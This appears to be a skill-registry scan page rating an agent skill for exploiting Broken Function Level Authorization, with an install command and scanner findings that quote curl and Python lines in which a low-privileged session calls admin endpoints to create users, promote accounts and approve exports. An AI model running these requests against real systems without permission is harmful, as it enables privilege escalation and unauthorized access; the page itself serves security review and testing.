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bfla
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.
Works with any agent that supports SKILL.md skills.
What this skill can do
Connects to the internet
The author does not mention this.
Found in 18 places.
Show 15 more
- packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 66
curl -s -c basic.jar -X POST https://<TARGET>/login -d 'user=basic&pass=<pass>' - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 67
curl -s -c admin.jar -X POST https://<TARGET>/login -d 'user=admin&pass=<pass>' - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 86
curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 96
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 113
curl -s -o /dev/null -w "%{http_code}" -b basic.jar \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 127
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 132
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users/ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 139
curl -s -b basic.jar -X POST https://<TARGET>/graphql \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 146
curl -s -b basic.jar -X POST https://<TARGET>/graphql \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 159
JOB_ID=$(curl -s -b basic.jar -X POST https://<TARGET>/api/export \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 164
curl -s -b basic.jar -X POST https://<TARGET>/api/export/$JOB_ID/approve \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 173
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 197
r_admin = requests.post(f"{TARGET}/api/admin/users", cookies=ADMIN, - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 202
r_basic = requests.post(f"{TARGET}/api/admin/users", cookies=BASIC, - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 207
me = requests.get(f"{TARGET}/api/users/bfla_probe", cookies=BASIC, timeout=5).json()
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 10 places.
Show 7 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'bfla' ] || [ -L ~/.agents/skills/'bfla' ]; then echo 'A skill folder named bfla already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web/bfla' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web/bfla' ~/.agents/skills/'bfla' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'bfla' ~/.claude/skills/'bfla' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 90 |
| 2026-11-08 | df87955 | 90 |